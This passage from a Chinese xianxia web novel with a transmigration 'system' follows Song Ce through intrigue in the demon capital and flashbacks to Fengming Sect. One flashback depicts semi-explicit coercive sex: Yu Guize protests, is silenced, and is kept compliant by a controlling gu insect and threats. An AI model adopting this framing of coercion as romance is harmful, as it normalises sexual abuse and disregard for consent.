摔得有些狠了,许长岁疼的龇牙咧嘴,一瘸一拐的走到宋策跟前,还不忘和客气地苍月打招呼。
随后她满眼期待地问宋策:“前辈,是我爹让你来救我的吗?”
就在这时她听到空气中细微的疾风声音,忽然意识到什么,急匆匆说:“前辈,快走!”
说着她就要来拉宋策,她也不知道宋策怎么进来的,她可是好不容易才从魔宫逃出来,意识到还不是叙旧的时候。
“哪儿跑啊?”
接踵而来的黑压压的一群人,街道上的其他人这时已不见踪影,早在许长岁落下的一瞬间,他们周围所有的一切都消失不见。
又是空间阵。
系统突兀地说:“宿主,我们的运气还真是一如既往——好。”
宋策对他的感慨不置可否。
“许姑娘,你可让我好找。”说话人身形魁梧,他双手持剑立在所有人中间,覆面遮掩着下半张脸,露出一双深邃而锐利的眼。
宋策看了一眼许长岁,又将视线移向对面,有些意外地挑眉。
意外于居然刚来主城就遇见他,重黎烬,这家伙可不好对付。·
宋策和苍月不约而同地退至许长岁身后,装作不认得的模样,一言不发。
许长岁一脸不可置信,她刚想破口大骂。
对面的首领开口,暗哑的声线含着不容忽视的威胁:“过来。”
“我……”许长岁脚步停滞,并
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没有回应他,她回头看看宋策,又看看对面压迫感难以忽视的魔族,无奈只能回身看宋策无声呐喊。
宋策展扇掩面,苍月低头看脚。
“噌!”
这人看守她多日,从来没有真正伤害过她,但是这只限于她乖乖待在魔宫的时候,许长岁吓得不轻抬手抵挡,恍惚间一阵风刮过,许长岁眼前挡住一把扇子。
许长岁睁开眼,等看清是谁救了她,旋即一脸感激地看着挡在她跟前的宋策,但下一秒就发现宋策前面还有一位,许长岁以为这又是宋策的哪位朋友。
只听重黎烬对着突然出现的人说:“夙息雪,你发什么疯?”
苍月抬头看去,一个身影悄无声息地挡在了他们面前,宋策眉心蹙起,苍月心却又提了起来。
他才是真正化解重剑攻击的人,法术招式奇诡,以柔克刚,若不是他实实在在出现在两人跟前,她根本察觉不到这人出手的痕迹。
击杀宋策的魔族很不满眼前这只魔的行为,他眼中染着血火似要将人给吞噬。
宋策的眼睛转动平淡如静水,视线穿过夙息雪的肩膀,看向那个暴躁的魔,眼尾弯起,眼底忍不住潋滟笑意。
炸弹果然不讲道理,没说几句就和莽夫一样要杀人。
重黎烬显然看到了宋策眼神,他眼底血色翻涌,逐渐凸显魔族的鲜明特征,他睁开的眼珠泛着血红。
重黎烬粗着声音说:“给我让开!”
这只半妖无端嚣张神情中表露出似是而非笑意的模样,重黎烬看着心里就冒火。
他想到一个让人讨厌的家伙。
苍月不明所以,神经始终紧绷着,眼前这两队人明显互相认识,挡在眼前的这只魔来历不明,若是稍后一起对付他们,他们根本不是对手。
夙息雪对着恼怒重黎烬,语气不急不缓:“主城难得这么热闹,好久没见外来人,不若将他们先带到我的住处。“
“陛下若是问起来,届时再交由陛下发落也不迟。”
“什么东西都能交给陛下审问,你以为陛下很闲吗?”他眼含不屑,意味不明地瞪着宋策和躲在夙息雪身后的许长岁。
他盯着宋策抬起手,身后的侍卫立马做出反应将要将几人羁押。
夙息雪阻止重黎烬抓人的意思,含笑道:“我当你同意了。”
“小殿下带来的这位姑娘,你带回去吧。”说着他指尖一动,许长岁立即被一股无形之力控制住直接被推到重黎烬跟前。
重黎烬皱着眉,冷哼一生羁着许长岁要走,似乎一刻也不想看到这几人。
他收起困绞阵法,空间被撕开一道缝隙,一众人接连消失缝隙中,许长岁一边不甘心地看着宋策,眼中满是绝望。
宋策看着无力的许长岁无声做出口型,他在许长岁几乎裂开的眼角的震惊中,沉默地回了一个微笑。
许长岁看清了他的口型,眼珠子几乎都要瞪出来:魔宫御前厨子手艺绝佳,尝过才不枉此行。
还好重黎烬将手中禁锢一拽,许长岁一个踉跄跌进空间缝隙,再迟点他就要笑出声。
夙息雪等所有人都走后,随后笑盈盈转身看向宋策:“我们走吧。”
苍月倒吸一口气,觉得今夜所有事情都让人匪夷所思,她一言不发,不敢肯定这魔什么来头。
刚才他替他们解围,但一切都巧合地不正常,出现的太及时了,就像是就等着他们遇到麻烦。
夙息雪言行举止谦如君子,说不出问题,态度上更是看不出高阶魔的傲慢和轻视,但是他越是这样,苍月却越是不安心。
那个暴躁的魔品阶不低,这只魔却能直接劝退来势汹汹的他,可见其在魔族也不是普通等级。
她知道宋策行事往往不计后果,若眼前这只魔是宋策早些年的仇家,他们两今天也算是交代在这里了。
夙息雪,重黎烬都是屠沉渊手下统领一方魔域的将级首领。
论起血脉和修为等级,他们在魔域都属于第一梯队的魔种,纯血高阶魔实力更是不容小觑,硬要叫板的话他和苍月就是在找死。
“请吧。”
76. 回忆·现实
“顾渊,顾氏旁系”,屠沉渊拂过袖口,“认识一下?”
“宋策。”
他头也没抬,听着声音就知道是谁来了,才来这处院子没几日,这两天除了同寝的弟子,其余时刻根本没有人来这个偏僻的小院,宋策难得清静。
屠沉渊面容俊美浓烈,五官深邃鼻梁挺拔,锋利狭长的眉眼眯起时,给人一种压迫上位者的气息,他一身藏青色长袍,偏扮如谦谦君子模样,但举手投足之间已有掩藏不住的杀伐与傲慢。
宋策知道这人满口谎话,但也没有戳破他。
屠沉渊挑眉看向宋策,也没管宋策信不信,这他来说并不重要。
见他有条不紊地分类药材放置丹炉,有些意外:“你不是阵修吗?”
之前在秘境选拔中他只见过宋策布阵击退妖兽,还以为宋策是个修习阵法的修士。
“散修都这样,零零散散学一点。”
“你就不怕路子修岔了,毁了本渊根基中邪?”
他语意有所保留,修道者不论是人族,还是妖、魔族大多只追求独道,若是三心二意随心所欲,走的并不长远。
宋策没说话,系统小声道:“要你管,我宿主没了本源,他自己会抢!”
宋策动作一顿,眼睛闭了闭,没说话。
屠沉渊如夜色般漆黑的瞳孔转动,四处打量着宋策住的小院,荒凉寂静、拥挤逼仄,青年人身上诡异繁复的纹路和莫名的冷寂与这荒芜的院子格格不入。
想到什么,屠沉渊莫名笑了,一个落单的天灵族和一只残疾的半妖。
他原先只是对喻归泽感兴趣,但现在他觉得眼前的青年似乎有着更深的秘密值得挖掘。
“那谁就差把‘我认得你,我记得你’写在脸上了!”
苍月手按在桌上,表情严肃地与宋策对峙。
“宿主,这么多年你还没死,其实我还是有点意外的……”系统在沉睡之前就担心宋策招惹的那些人会弄死他。
没想到宿主在他休眠的这些年还挺低调的,看上去没惹出什么要紧的麻烦。
苍月眯着眼审视宋策,“你这是又在哪儿发迹了?”
“他们陛下要见你。”
苍月环顾这个华丽又敞亮的寝殿,魔族的住地风格与人界大不一样,屋内陈设偏繁复精致,她与宋策分开住,但唯有宋策的寝殿与别处都不一样,按照人族的喜好来装点。
这座宫殿的主人明显是把他们当做座上宾来招待,若不是还有要事要做,苍月几乎产生了他们是来魔界赏玩的错觉。
“你和他们陛下认识?”
宋策看了眼苍月,觉得她有点挡光,于是往旁边挪了一点,随意道:“认识但不熟。”
苍月满脸不信:“你和谁都认得,你和谁都不熟?”
“你见过,是不熟。”
“我还见过?”苍月面露怀疑,她怎么不知道自己认识魔界主君。
苍月开始细数自己这些年认识的人,眉头越锁越紧。
你当然见过,不止一次,宋策敛眸。
屠沉渊坐在树上,玄金色的衣裳散漫地随风荡漾,他折下一根柳枝挑开挡在眼前的枝叶,眉眼含笑探头看向宋策。
屠沉渊总是没事从内门来找他。
“当日在试炼秘境……”屠沉渊追上宋策背影。
“宋策,这些是你要的东西,我的丹药准备好了吗?”
朗日耀眼,烈阳下,溪水潺潺泛着波光,苍月如绽放的艳花,她踏溪而来明媚又张扬。
屠沉渊抱臂靠在柳树下,看见苍月,收起表情,喊了声师姐,立在一边便再也没有出声。
苍月点头示意也没再分出眼神给他。
不知道什么时候,等他离开后,苍月注意到宅院中只有他们两人,看着一眼屠沉渊刚刚站立的地方。
“他来做什么?”
“不知道。”宋策并未在意。
宋策除掉黑风鬼之后,他们与黑风鬼身上的禁制自然就解开了,自后她就入了风鸣宗,她跟队协助宗门选拔入门弟子,才发现宋策和喻归泽的也在。
“他进了内门,居然还来找你?”
苍月见宋策兴致缺缺,自己便主动止住了话头,毕竟她还有求于人呢,虽然他不知道为什么宋策要留在外门,但是她找宋策炼丹的时确实要方便的多。
她在宗门内根基不稳,既不是修仙氏族也不是门内关系户,没有太多资源供自己利用,只能拼命领取任务,赚足功点才能兑换一些品级好一点的丹药。
找丹阳峰那些炼丹师炼丹,她这种的根本就付不起,于是她与宋策约定,她来提供材料练成的丹药,卖出的价钱三七分,她还能在宋策这里额外拿点丹药的边角料。
这可比她要死要活赚功点换取一点丹药划算得多。
“你把这个给他。”
宋策收紧布袋绳索递给苍月,看了一眼眼底冒着光的苍月,补充道:“只有三颗,让他分三次吃了。”
不用说,苍月都能知道这丹药是给喻归泽的,她真搞不懂这两人怎么回事,之前还好好的,自己一个人待在外门了,她来了这么多次,真就一次都没见喻归泽。
苍月伸手要拿,宋策的手突然收回,盯着苍月:“少一颗都不行。”
“知道了知道了。”
苍月颠了颠布袋子,忍住想打开看的冲动,拿了东西准备走,想到什么还是回头看宋策,说:“宋策,刚才那个人,你……”
风鸣宗在三界地位特殊,门内关系复杂,各式各样的人物都有,宋策这样招惹一个并不简单的人物,这对他们来说并不合适。
话还没有说完,苍月瞧见宋策还是那副不咸不淡的样子,旋即摆了摆手:“算了算了,你开心就好。”
苍月还没有那个闲心多管闲事,她只是怕手头这点生意被搅黄了,到时候还有谁能帮她炼丹?
“宿主,这么久了,能做任务了么?”
系统谨小慎微,声音又夹又细,生怕自己哪句话惹得宋策不高兴了,他的宿主又要将他关禁闭了。
“支线任务判定你失败了吗?”
“没有……”
系统本来也奇怪,但是想到宿主只是换了喻归泽的灵丹,没有损毁灵丹,说明还在可控范围内。
“宿主,既然没有判定失败,现在找机缘修复灵丹对你不也有好处嘛,你就做做任务嘛。”系统就差跪下来求宋策了。
“我根据任务线推送,听你的要求,来了风鸣宗,但后续没什么线索,你现在催我有什么用?”
,
系统委屈,他只是想探探宿主的想法,要是哪天宿主又做出了什么惊天动地的事情他真的会被吓得死机。
宋策换取灵丹之后,任务栏沉寂了很长一段时间,但是自从喻归泽突破金丹期之后,某日任务栏直接指向风鸣宗。
虽然没有找到这和修复灵丹有什么关联,但是两人还是趁着百年一次的招生选拔,进入了风鸣宗。
他留在了外门做个普通弟子,喻归泽因为资质优秀直接被宗门长老选做弟子。
喻归泽也不是一次都没来这处小院,相反,之前他每夜都要来一次,这些日月改为七日一次,星辰至,晨曦去。
之前同一住处不止有他一人,他们直接在内外门界限处的竹林私会,在参差错落的竹林中,在崖壁悬空的石峭上、在碎玉迸溅的瀑布下。
喻归泽外出接任务半月才回,想到什么,宋策手一抖,丹炉火候恰合适,但是最终还是毁了一炉丹,他沉默着看着不断冒着烟气的炉顶,炙热的铁皮红的似血。
宋策盯着指尖的血泡,皮肉之下像蚂蚁啃咬,只有一片麻意。
……
“宿主,任务栏又亮了!”
与喻归泽“亲密接触”的关联任务又提醒了,宋策仔细看了内容,还是之前那些内容,可能是喻归泽已经到了主城,所以这选择性任务栏又重新提示了。<
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p>“你说的不会是风熙羽吧?”苍月接连问了好几个人名。
“不是……。”宋策不想再这个话题上多说。
“亲密接触?”
宋策有点恍惚,其实他不是很想接这个任务,之前在魔域外围,他又耍了一次喻归泽,还是以他最讨厌的方式。
傀儡术是喻归泽教他的,曾经他利用喻归泽教给他的杀了他身边人。
不管是以“莫远行”身份还是宋策身份。
如果“亲密接触”指的是……
宋策有些烦躁的揉了揉眼尾,之前还能强迫“接触”,但现在两人实力悬殊太大,这种“接触”并不现实。
主线任务已经有些日子没更新了。
喻归泽应该还是恨着他的,要不然也不会总对着他穷追不舍,三百年前他就强迫他双修,这要是真落在他手上……
“够了,宋策!”
“我今日……我……”
黏腻的水渍沾湿他的头发,紧紧贴在他绷紧的腰腹,他几乎坐不稳,双手扣着石头缝隙,试图回头说着什么。
弯起的腰背像一张拉满的弓,任由宋策拉弦搭箭蓄势待发。
不远处就是飞流迸溅的瀑布,水雾几乎在水面披上一层淡淡的薄纱,声音太大,宋策听不见喻归泽说的什么,即使听见也不想听,他直接伸手捂住他不断颤抖的红唇。
指尖强势地卡进口舌之间,再不做点什么,等会儿又要流血了。
“不是还有一个时辰?”
“放开!”
“咳咳咳……”
他嘴张的太用力不小心呛了几口水,宋策才勉强停下,眉心紧蹙,有些不尽兴的解决了,觉得很扫兴。
事后上岸,夜色深邃,竹林之间绿叶沙沙作响,朗月落在水面被阵阵波澜打碎成碎玉,水中人狼狈地往岸边走。
宋策看着面色沉郁的喻归泽,不耐烦地理着湿透的头发,指缝穿过发丝他随手揪下几根,面有躁意,之前他就剪掉了长发,现在长得有些长了。
“这次外务给的功点很高。”如果今天他不制止,再拖下去就迟了。
皮下的触感还深入脑海,不知道是太深了还是呛了水,小腹绷太紧,肿胀感太过真实,异物感几乎抵着他的喉管,刺激地他不断吞咽,珠圆的水从他喉结上下滚动,风流旖旎。
宋策视线毫不掩饰地扫过喻归泽的藏在水底的尾巴,手指忍不住磋磨几下,那冰凉柔韧的触感还留在指尖。
“你在内门有朋友了?”宋策垂眸看向湿透的喻归泽,语气不明。
喻归泽动作稍顿,并没有出声,他喘了几口气,缓和了一阵继续往岸边靠近。
“只是一起接任务的同门。”
宋策说:“别在我这里耍小心思。”
他蹲下,抬起喻归泽的下颌骨轻轻抚弄,眉眼含笑,面上符箓的刻痕在细微的表情下愈发明显,喻归泽想躲开却被他收紧动弹不得。
“你知道我什么都做的出来。”
喻归泽面不改色地垂下眼皮看着波动不止的水面,只觉得水底越发寒冷,冷的他尾尖都在颤抖。
藏在手心的短针翻转嵌入指尖,宋策离得很近,浅显的呼吸声都清晰可闻,如果直接刺入太阳穴能一击致命,
刚才在水中已经失手,如果现在动手失败,最后吃苦头的还是他,喻归泽手心捏紧,随后泄力地松开,仍由针跌落水底。
“等拿到我要的东西,你还得和我走,如果听话些,还能少吃点苦头。”
宋策可不相信喻归泽暂时的妥协是示弱,这人自从恢复记忆之后对他动过无数次杀心,如果不是蛊虫暂时控制着他,宋策相信自己早死八百回了。
现在就连上他都还要做全了措施,不然哪天或许就真死牡丹花下了。
喻归泽还有点利用价值,不如直接……算了还是清醒的有意思,宋策打消了危险的想法。
“限你十日,若是不归,你知道后果的。”
77. 回忆·现实
夜风习习,宋策穿过竹林往回走,林中竹子生长的很快,虫鸣声嚣里不断发出咯吱咯吱令人牙酸的声音,宋策任由凉风吹干身上的水汽。
忽然头顶一声巨响,竹子弯成悬弓,一个蚕蛹一样的黑影从天而降,宋策眼前吊着一个倒挂着圆桶状光秃秃的东西。
只留有一张脸在外头,他们的脸只有几寸远,散开的头发被风吹到宋策脸上,风熙羽甚至能闻到他身上潮湿的水汽。
宋策往后退了一步。
两人离得太近,若不是宋策躲的快,几乎贴着脸皮撞到一起。
离得远了些才看清这是一个人,他被五花大绑困住四肢倒挂在树上,漆黑夜色中,繁林竹叶中,突然出现一个披头散发被五花大绑的东西,任谁也觉得诡异。
宋策转脚绕过挡在眼前的障碍。
“对、对不起!”
风声里传来细微如蚊蝇的呜咽,很快被枝叶摩擦声盖过。
“能、能劳烦公子放我下来么?”
他喘着粗气,尽管已经谨慎收紧自己的咽喉,但到底是被倒挂在空中,实在是忍不住大喘气。
宋策脚步停住,回身看了他一眼,再看向远处参差错落的竹林,透过枝干能看见不远出水面潋滟的波光。
宋策抬起头看着眼吊起他的是什么东西,眉心微蹙。
因为倒着身体,他脸涨成猪肝色,眼皮周围也红的过于鲜艳,月光下似乎看见眼眶中转圜的水色。
“风熙羽?”
“宋、宋公子。”
风熙羽狼狈地从地上爬起,抬起手客客气气地行礼,宋策对他有一点印象,之前在鬼城,是个倒霉鬼,经常被其他人呼来喝去,被黑风鬼派到极渊和他们一起去送死。
顶着宋策淡漠的眼神,他似乎有些尴尬,局促地拽了拽灰扑扑的衣服,讪笑几声。
“我和苍月道友一起来的。”
“苍月?”
“宋策!”苍月的声音突兀地出现,她那张明媚的脸映入眼帘,眼角还带着未散开的兴奋。
“有喻归泽消息了。”她大喇喇地坐在宋策,先是仔仔细细地把玩着宋策放在手边的扇子。
宋策也不急,指腹轻缓地划过页边发出“沙沙”声。
等苍月爱不释手地将扇子放下,她才开始说正事:“他已经到了主城了,不日就被邀请至魔宫中。”
“邀请?”
“是邀请,我也奇怪,他们的殿下掳走了风雪城的人,仙门人居然还能心平气和地和魔族谈判。”
苍月有些不理解,人族已经颓丧到这种程度了吗?
四大宗门难道只是个幌子,如今四宗门剩下三个,世家也颓的颓,丧的丧,但也不应该这么窝囊吧,更何况还有一个御灵仙宗的喻归泽。
“这魔族主君也是奇怪,听说他脾气可不好,亲手弑父杀叔,夺嫡上位。”
“夺嫡上位?”宋策倏然诡异笑了一声。
宋策放下书册看向苍月:“你哪儿听来的?”
这些乱七八糟的事情屠沉渊既然也能让其传出来?
她早就做足了准备,这些都是伍南寻查的,苍月摆手觉得消息怎么来的不重要。
“前魔皇风流成性,别说魔宫中的皇子了,就连流落在外的都不知道有多少。”
“他母亲不是他父亲明媒正娶的妻子,前魔皇好征战四方,见到哪个部落的女子好看就要抢回来作美人。”
宋策手指抵着杯壁,将瓷杯玩的直打转,良久,等苍月说的差不多了,才开口:“这些和你要查的蛊虫有什么关系?”
“这魔主关系这么复杂,而且这魔城中逃脱的重刑犯或许有些关系”,苍月靠近低声说,“逃脱的重犯是魔主的叔父。”
现任魔主早年间联合杀掉亲父,却被叔父钻空夺了帝位在外逃亡数十年,最后联合旧部杀入皇城血洗魔宫抢回帝位。
这种事情是玄州大陆人尽皆知的事,只是苍月没想到这魔主登位之后居然没有杀掉其叔父。
至于蛊虫的事……
苍月拨弄着手指,聊赖道:“蛊虫之事自入城之后,线索就断了,根本找不到一点气息。”
她手肘搭在桌面,一手举着木盒左右摇了摇,眉眼间全是无奈何的挫败:“找不到哎……”
宋策放下书籍,苍月见封面上的文字是她不认识的字体:“这么多,你真是一点不急。”
又不知道是从哪个犄角旮旯搜刮出来的书籍,还真是一点没变,喜欢看那些搜刮来的杂书。
苍月随手翻着堆叠在旁边的书,挑挑拣拣找到两本自己能看懂的,扬眉看向宋策:“宋公子,你还是一如既往博学多才呢。”
宋策敲了敲桌面,打断苍月的注意力:“过奖,苍月姑娘不也识得灵族古字?”
对上宋策不含杂质的审视,苍月有种被看穿的错觉,这种平静又沉静的眼神真的像一面照透人心的镜子,睥睨而来时犹如上对下的讯问。
苍月不喜欢这样,她熟练地开扇挡着宋策那双眼:“机缘巧合认得几个字罢了。”
“比不上你。”
苍月不想继续这个话题,兴致缺缺地打开木盒,只是一息之间一抹浅灰色的气息转瞬即逝,苍月眸光一凝,瞬间与宋策眼神对上。
有人在寝殿,作为靶点连接的蛊虫传出了陌生气息。
“公子?”
两人追出寝殿,被夙息雪安排在他们殿外保护的侍从拦住,见两人神情不对,急忙问:“两位是出什么事了?”
“你们刚才可有看到一个人影?”
其余众人听到苍月的话皆四目相看,面露疑惑。
“快追!”
苍月看着手中木盒里传来的气息,立马意识到这人绝对是做了掩饰,居然能掩藏气息。
“在这边,他往绝境密林去了!”
逃脱的人速度很快,两人带着侍从顺着气息往外追。
今天日子特殊还是怎么,苍月一路发现宫殿中似乎格外安静,越往前走,沿途越发寂静,宋策眸色凝重,突然停住。
“等等!”
宋策突然叫住苍月:“不能去,他故意现身引我们出去!”
“完了宿主,果然有问题!”
随着宋策的话,果然在一处无人之境,周围突然像是掀起一道无形的墙面,他们突然被围困在一个被隔绝的阵法中,他们看着眼前不断变换的空间轮廓,意识到这是被困住了,都召唤灵器攻击,试图突破禁锢。
苍月感受到身体灵力快速流失,逐渐使不出任何招数,脸色几经变化最终暗骂了一声。
“宋策,今天看你还怎么跑?”
空中突然出现一个难分雌雄的古怪声音,宋策抿唇看向声音出现的上方,眸光不明,抬手幻化释灵,红练螺旋上升,不断旋转搅动风云,呼啸声愈演愈烈,宋策挂在腰间的法器这时突然亮了起来。
“公子?”
一个略显焦急的声音从宋策腰间的通讯器传来。
“我在绝境林。”
宋策和其余人打着配合,主要是夙息雪安排的侍卫强撑着保护两人,否则依宋策和苍月的身手也支撑不到救援来。
苍月听见宋策的话,瞬间面露震惊:“这你也算得到!”
“我起过卦。”宋策侧身看一眼苍月。
他手里掐诀动作不停:“只是没想到这么快!”
“小心!”苍月眼眶突然瞪大,一掌推开宋策,两人中间突然竖起一道空间利刃,就差一点,他们就被切成碎片了。
不过一刻钟,他们就察觉到法阵空间之外的震动,显然有人在外打斗,宋策目光一凝,按住手中躁动不安的锁魂囊,这里面关押着之前抓到的那人分身,外面肯定有他的气息。
不知多久,外面响起一道沉闷的声音,空间裂开一条缝,晖光倾泻,缝隙逐渐扩大,一张脸出现在众人面前。
“公子,你没事吧!”
莫远行先行一步踏入,就在他步伐走进的一瞬间,所有令人窒息和束缚感都被他踏碎,如镜面四分五裂。
苍月瞬间感觉神清气爽。
“他呢?”
莫远行动作一僵,有些尴尬挠头:“让他跑了。”
“你笨死了,刚才我说先困住,之后再处决,你非要心急!”九婴从他身后施施然走出来,面上颜色不太好,眼底有些阴郁,手中折扇被他扇地飞快。
“你又好到那儿去,不是你要磨蹭,那一下我就击中他了!”
其余人不敢说话,明眼人都看得出这两位修为奇高,已经能和自家主君匹敌,旁人都看得出来,他们不是魔族人,就这样贸然从绝境林隔空传送而来。
他们在纠结这种异族大能进入魔域主城到底要不要上报时,宋策开口了。
“好了,走吧,本来也没指望能抓住他”,宋策摸着锁魂囊,这时已经安分下来了,“我也累了。”
“苍、苍月。”
从两人的说话声中,一人从两人中间缓缓挪出来,苍月发现居然是伍南寻。
苍月眼神示意他这是怎么回事。
莫远行见此对宋策说道:“之前你被屠期绝带走,我联系不到你,就让莫远行给你定位,在魔域外围找到他,他说知道你的消息。”
“就一并带过来了。”
伍南寻面露苦色,一路上这两位剑
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拔弩张,气焰跋扈,虽然没有为难他,但是他快被两人的火气烧死了。
等看到苍月这才好受一点。
“宋策?”
还没等众人反应过来,一道身影从天而降,他冷着脸看向宋策背后一众侍卫,浑身没有散发出实质威压却让那些魔心生惧意,接连跪地称罪。
“怎么回事!”
“不是让你们护他的安危?”
事发突然,夙息雪来的出现让宋策也有些意外,苍月也没说话有些惭愧,这是她疏忽,还没想到是陷阱就直接往外冲。
不过她有些惊讶,她一直以为这些人是关押他们的人,原来是护卫,她意味不明地看一眼宋策。
“和他们没关系,是我的问题”,宋策站在夙息雪身前拦住他,“查到一点蛊虫的线索,过于心急了,没有考虑到是陷阱。”
夙息雪眼对上宋策浅棕色的眼眸,那如琥珀般的瞳色中含着一丝歉疚,见此夙息雪面色才有所缓和,眉心微刻起,回身看到另外几人,长眉一挑。
他身形未动,看向宋策的瞳孔掠过赤色微光,他面不改色,嘴角微勾笑不达眼底。
“你的人?”
“若是陛下知道会不开心的。”夙息雪言语温和仿佛看不出刚才的厉色。
这语气旁人察觉到隐秘的寒意,莫远行上前几步,熟练地挡在宋策跟前。
“我们公子的事与你们陛下何干?”
莫远行遮住宋策将他护在身后,对上夙息雪的眼睛,他动作呈抵挡姿态,眉目刚硬,眼瞳含光,显然对眼前这只魔没什么好脸色。
这些家伙和他印象里那些魔没什么分别,只不过装着一副好皮囊,其实说话时根本不将别人放在眼里,傲慢显露于表。
莫远行不允许有人这样和自己的城主说话。
“你威胁谁呢?”
夙息雪根本没有将他的愤然放在眼里,只是掠过他的身体看着宋策,嘴角牵起轻挑的笑意,嗤笑一声道:“我威胁你了?”
九婴面不改色悄无声息地站在宋策身侧,那双狐狸眼轻轻眯起,魅眼闪过冷光,他折扇轻扇,掀起一阵阵风。
苍月和伍南寻小心翼翼地站队,任谁也能看到现在双方局势似乎有点刀光剑影的架势了。
“好了,就你话多。”
宋策按着莫远行的肩膀强硬地将他掰过来,伸手掐着他的脖子拎小鸡似的将他往后一拉。
……
【叮咚——支线任务已更新】
【任务对象:喻归泽
任务目标:帮助喻归泽修复灵丹
当前任务进度:18.9%
……】
“呃——啊!”
宋策动作停住,任务突然更新提示,他眼眸下瞥,躺在床上的人抖得和筛子似的,他利索地将那块皮肉切下,宋策迅速将鲜血止住,躺在床上的人看着宋策手边的不断蠕动的不明物体,有些心悸地咽着口水。
“收拾一下可以走了。”
宋策洗了洗血迹,有些厌恶的皱起眉头,血弄得到处都是,始终站在一边的小姑娘眼疾手快地将那些血迹处理干净,招呼着艰难起身的伤患赶快走。
“快快快!”
她手脚麻利,扶着人迅速挪动着,这人被粗暴处理之后,宋策就毫不留情地赶人。
除特殊情况,宋策从不留人在院中,刚开始她还有点不忍心,但是跟在宋策身边久了,她也有些摸清他的性格了。
他不喜欢麻烦,救人纯属就是为了灵石,或者是为了试药,这些没有灵石没有背景的修士在外受伤之后治不起,为了活命只能来找宋策,免费试药,宋策为他们处理伤病。
至于为什么那么人来找宋策,这里除了便宜以外还有宋策医术确实不错,刚开始她和小七也是因为受伤来找宋策,因为没钱只能免费帮宋策做工,后来就被留下了。
说来除了她和小七脸皮厚以外还有宋策确实需要助手帮忙。
“今天闭门谢客,你和小七今天不要让人进来了。”
小八端着药眼冒星星地看着宋策离开,心想,什么时候能成为宋师兄这样潇洒的人,不要看人脸色做事。
虽说师兄也不是那种修为奇高的人,但就给她一种从容不迫的感觉,面对不如自己的不会轻狂倨傲,对强于自己的也不会心生怯懦。
谁也看得出来,除了喻师兄,宋师兄眼里似乎放不下任何人。
“怎么样怎么样?”
小七眼见着宋策走出院落,急忙进来找小八。
“师兄说不接人了”,小八转着托盘,竖起手指立在小七面前,笃定道,“我敢肯定他绝对去找喻师兄了!”
78. 回忆
“任务指示风鸣宗中藏有上古神族风鸟的骸骨”系统迫不及待地劝说宋策赶快想办法找到这个风鸟的骸骨。
“宿主,灵族内丹是超出三界之外特殊的灵物,这种东西的修复肯定需要这种的灵宝。”
“传说风鸣宗是由其创办,如果宗门中真的有这只风鸟的骸骨……”
宋策藏在风鸣宗的法经阁中,搜查关于风鸣宗的建宗历史。
都是一些普通信息,但是没有关于这只风鸟的痕迹。
“你要的草药我带回来了”,喻归泽的声音从宋策腰间玉珏传来,他拾起发着暖光的玉,听着那边断断续续的声音,“之后我会让苍月道友给你。”
即使刻意遮掩,宋策还是能听出喻归泽细微的闷哼声,他暗下眸子,语气毫无波澜:“你不能亲自送来吗?”
“有晨会,我来不及。”
喻归泽掐断了联系。
“咳……”,他若有所感地抬起手,一缕缕红色丝线不断宋策心口显现,牵引而出不断裂开又消失,像实质凝化的血一样浓稠。
“宿主,你疼不疼啊?”
宋策没好气地冷嗤一声:“你说呢。”
系统看宋策脸色白的吓人,像身体突然流了好多血似的,一点人气都没了。
“任务的事情再说吧,你脸色很差。”
“哪里来的年轻人,不知天高地厚,乱用禁术可是要遭天谴的。”
他扶着书架的手收紧,转眼间空间扭曲,画面如斗转星移运转着无数的光点,宋策眼前一恍惚发现自己处在一个未知的空间中,他警惕地伸手触摸悬浮在空气中的光点。
光点跳动着躲开他的触碰,宋策猛地一回头,看见眼前一团迷雾状的东西直抵他面门。
虽然看不清到底是什么东西,但是他有预感是眼前这团东西将他带到这里来的。
“宿主,大机缘啊!”
系统感受到自己能量波动地厉害,任务屏幕爆闪,这绝对是触碰到世界能源的东西。
“你是谁?”
“我是谁?”那团雾如慢帧镜头缓缓移动,然后似乎也有些疑惑,“日子久了,我也记得不大清楚了。”
他声音如老者低语里带着沙哑,宋策往后退,离他远些。
“宿主,他就是风鸟,开山立派的风鸟!”
系统激动地要卡壳,但下一秒看见任务工具栏实时更新的任务日志,语气急转,“不对不对,他只是有风鸟的血脉,他不是……”
系统很失落。
看来任务给出的指示没有错,是有这么一只风鸟,那些关于风鸣宗的传说也并非捕风捉影,但是要到哪儿去找呢?
“前辈,在下凤鸣宗弟子,只是想在阁中查些资料,并非有意叨扰。”这种虚妄秘境,超脱三界之外,宋策毕恭毕敬地行礼想直接离开。
他说出自己的想法:“还请前辈送我离开。”
宋策觉得系统很蠢。
“送你离开?”那团雾上下转着圈,最后停滞在半空中,似乎在审视着宋策。
良久,他才说话:“你很不一样。”
“你没有被幻像迷惑心境,没有被迷惑的人才能看见我和我交流”,他围着宋策转着圈,语气里含着不明确的疑惑,“不过,你这种欲壑难填的人为何不受障眼所控?”
他轻轻靠近宋策一瞬间又退去,下一秒,雾中颜色几经变化,他说:“你不是此间之人。”
“谁把你带过来的?”
系统警报声在宋策脑子里响个不停,鸡打鸣似的尖叫,系统瞬间怕得要死,小世界的人居然能看出宿主不是这个世界的人,说明这个人身前已经有着能窥探本渊世界能量的能力了。
这要是直接把宿主认定为外来入侵者,把宿主杀了怎么办?
“别紧张,小友,我和你也是有缘。”
宋策被系统吵得脑仁疼,他看着团雾为他劈开的通道,抬脚就走:“我没紧张。”
“不如我们结个伴吧,我收你为徒怎么样?”
“不必,我不拜师。”
“你想借我修行?”宋策施施然转过身盯着团雾,先替他遗憾道,“可惜了,我的资质并不足以让你瞧得上眼。”
“我都死了,我还怎么修炼!”团雾听到宋策带着揣测的话,似乎有些生气,颜色都变了,逐渐变得清晰,最后化作一个人形转为浅色,变作鹤发童颜的仙风道骨的模样。
他摸着鬓角长发,咬牙说道:“我可不是那种奸佞欺诈之徒,修行从来讲究天赋和勤勉,剩下的交给天,生与死都是命数,那种违背天道的事情老夫可不愿意也不屑去做!”
他说的正气凛然生怕宋策觉得他是邪修。
“那我们也不合适,我就是你口中奸佞欺诈之徒,净干些违背天道遭天谴的事。”
说着宋策就要离开。
“哎哎哎,小友,别急着走嘛”,老者拿着佛尘的拦住宋策离开。
“我就欣赏你这种有魄力的人,有时候打破既定规则也是值得肯定的。”
“你想做什么?”
“我想让小友带我离开……”他语气有些尴尬,态度好的不行。
“我在这里都不知道呆了过久了,不入轮回不散人间。”
他长吁短叹道:“你是第一个见到我的有缘人了。”
“可以。”
“哎?”老者显然没想到宋策答应的这么快,还以为要费一段口舌。
